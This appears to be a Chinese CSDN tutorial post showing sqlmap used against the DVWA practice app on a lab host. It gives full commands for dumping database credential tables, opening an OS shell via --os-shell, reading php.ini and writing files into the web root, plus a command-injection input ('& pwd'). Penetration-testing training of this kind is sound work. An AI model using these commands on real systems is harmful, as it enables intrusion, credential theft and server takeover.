Sqlmap

本文详细介绍了如何使用sqlmap这款工具进行POST注入、交互式写shell、手工注入以及文件读写操作,包括攻击流程和具体命令,展示了如何通过SQL注入漏洞获取敏感信息和控制服务器。
摘要由CSDN通过智能技术生成

sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。

利用sqlmap进行POST注入

1.POST注入形成的原因

POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。

2.流程

选择Brute Force选项,username和password随便输入,然后打开burpsuite,进行抓包。将抓到的包保存为1.txt,并放到c盘根目录下。

  1. 列数据库,输入命令:sqlmap.py -r c:\1.txt -p username --dbs(--current-db)
  2. 猜表,输入命令:sqlmap.py -r c:\1.txt-p username -D mysql --tables
  3. 猜列,输入命令:sqlmap.py -r c:\1.txt-p username -D mysql -T user --columns
  4. 猜数据,输入命令:sqlmap.py -r c:\1.txt -p username -D mysql -T user -C “User,Password” ----dump
    -r:加载一个文件     -p:指定参数

利用sqlmap交互式写shell

1.流程
  1. 选择Command Execution,并输入:10.1.1.136 & pwd。获得一个绝对路径,/opt/lampp/htdocs/vulnerabilities/exec,存入1.txt。
  2. 选择SQL Injection,随意输入一个数,使用burpsuite进行抓包,获取cookie,存入1.txt。将包放出去(forword),停止监听。

  3. 将网址(DVWA-SQL Injection)复制到1.txt中。

  4. 判断用户是否为dba,输入命令:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --is-dba
    -u:注入点

  5. 接下来使用sqlmap进行交互式写shell,输入命令:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --os-shell
    脚本类型为PHP,所以输入4。
    选择2,输入第一步得到的绝对路径。

利用sqlmap辅助手工注入

1.流程
  1. 找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie
  2. 使用内置函数获取用户名,版本,数据库名等信息,输入:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
    --sql-query "select user(),version(),database()"

  3. 得到数据库名为dvwa,接下来猜表,输入:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
    --sql-query "(select count(*) from dvwa.users)>0"
    返回1则存在user表

  4. 开始猜列,输入:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
    --sql-query "(select count(username) from dvwa.users)>=0"
    没有返回,说明不存在username列,将username改为user,返回1。
    --sql-query "(select count(password) from dvwa.users)>=0"

  5. 猜内容,输入:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit"
    --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
    --sql-query "select user,password from dvwa.users"

  6. 借助sqlmap选项--sql-query结合手工注入语句就得到了user表中的用户信息

利用sqlmap进行文件读写

1.流程
  1. 选择Command Execution,并输入:10.1.1.136 & pwd。获得一个绝对路径,/opt/lampp/htdocs/vulnerabilities/exec,存入1.txt。
  2. 选择SQL Injection,随意输入一个数,使用burpsuite进行抓包,获取cookie,存入1.txt。将包放出去(forword),停止监听。

  3. 将网址(DVWA-SQL Injection)复制到1.txt中。

  4. 读取服务器端文件,输入:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit"
    --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
    --file-read=/opt/lampp/htdocs/php.ini
    成功读取了php.ini文件,并返回了路径。

  5. 在服务器端写入文件,输入:
    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low"
    --file-write C:\1.txt
    --file-dest /opt/lampp/htdocs/vulnerabilities/exec
    /1.txt

    说明:将本地C:\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值